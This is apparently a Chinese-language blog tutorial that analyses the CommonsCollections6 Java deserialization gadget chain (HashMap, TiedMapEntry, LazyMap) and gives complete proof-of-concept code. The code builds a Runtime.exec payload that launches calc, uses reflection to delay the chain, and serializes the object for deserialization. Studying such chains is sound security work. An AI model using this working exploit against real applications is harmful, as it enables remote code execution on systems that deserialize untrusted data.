环境搭建
1 2 3 4 5 6 7
| <dependencies> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency> </dependencies>
|
前言
CC1现在来说的话比较鸡肋。因为在8u71以后AnnotationInvocationHandler.readObject()
改变了。
为了解决高版本的利用问题ysoserial给出了解决方案CommonsCollections6,也就是我们平常称的CC6。
其实后面利用链和CC1是一样的,LazyMap.get()
CC6
从ysoserial可以看出链首是HashMap,其实HashMap我们挺熟悉。HashMap.readObject()->HashMap.put()->HashMap.hash().(key)HashCode()
所以现在只需要有一个类的HashCode()
调用了get()
就可以将这整段链链接起来。
攻击链分析
作者是发现了TiedMapEntry.HashCode().getValue()
中调用了get()
,那这就可以把前后两段链链接起来。
完整利用链
实现攻击链
后面代码执行的部分和CC1是一样的,复制就行
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>(); Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);
|
接下来直接new TiedMapEntry
,看TiedMapEntry
的构造器,所以map可以直接传入之前的chainedTransformer,key随便传。
然后new HashMap
作为入口,放入把tiedMapEntry放进key。为什么把tiedMapEntry放进key而不是放进value中?因为HashMap.readObject
是对key进行hash()
。同样的value随便传。
但是我们在URLDNS那条链里面就有经验了,HashMap.put
就会对key进行hash()
,也就是对key调用hashCode()
,会直接导致在序列化的时候直接走完这条链。
所以得更改一下,改法很多,思路其实都是一样的,put时放进一个不能让链连接起来的对象或者方法,序列化的时候改回设想的调用链,让链能连接起来。
这里主要写了两种方式:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| public class CC6 {
public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
HashMap<Object, Object> map2 = new HashMap<>(); map2.put(tiedMapEntry, "bbb");
Class c = LazyMap.class; Field factoryField = c.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(lazyMap, chainedTransformer);
ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(map2); oos.close();
System.out.println(barr); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o = ois.readObject();
}
}
|
遇到一个小问题
发现这时候反序列化不能成功执行
我们可以尝试调试一下,添加一个lnline Watches,可以看到执行的时候map.put(key,value)
把key:"aaa"
put进去了,导致我们反序列化得时候if(map.containsKey(key) == false)
判定失败,因为这时候if(map.containsKey(key)==true)
,然后就走不进这个if,导致调用transform()
方法失败,最终导致链不能成功执行。
解决方法很简单,等put完后,remove()
掉就行,随后就可以正常执行反序列化
完整代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| public class CC6 {
public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) };
ChainedTransformer chainedTransformer = new ChainedTransformer(new ConstantTransformer[]{});
HashMap<Object, Object> map = new HashMap<>(); Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
HashMap<Object, Object> map2 = new HashMap<>(); map2.put(tiedMapEntry, "bbb"); lazyMap.remove("aaa");
Class<ChainedTransformer> c2 = ChainedTransformer.class; Field iTransformersField = c2.getDeclaredField("iTransformers"); iTransformersField.setAccessible(true); iTransformersField.set(chainedTransformer, transformers);
ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(map2); oos.close();
System.out.println(barr); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
}
}
|
参考链接
Java反序列化CommonsCollections篇(二)-最好用的CC链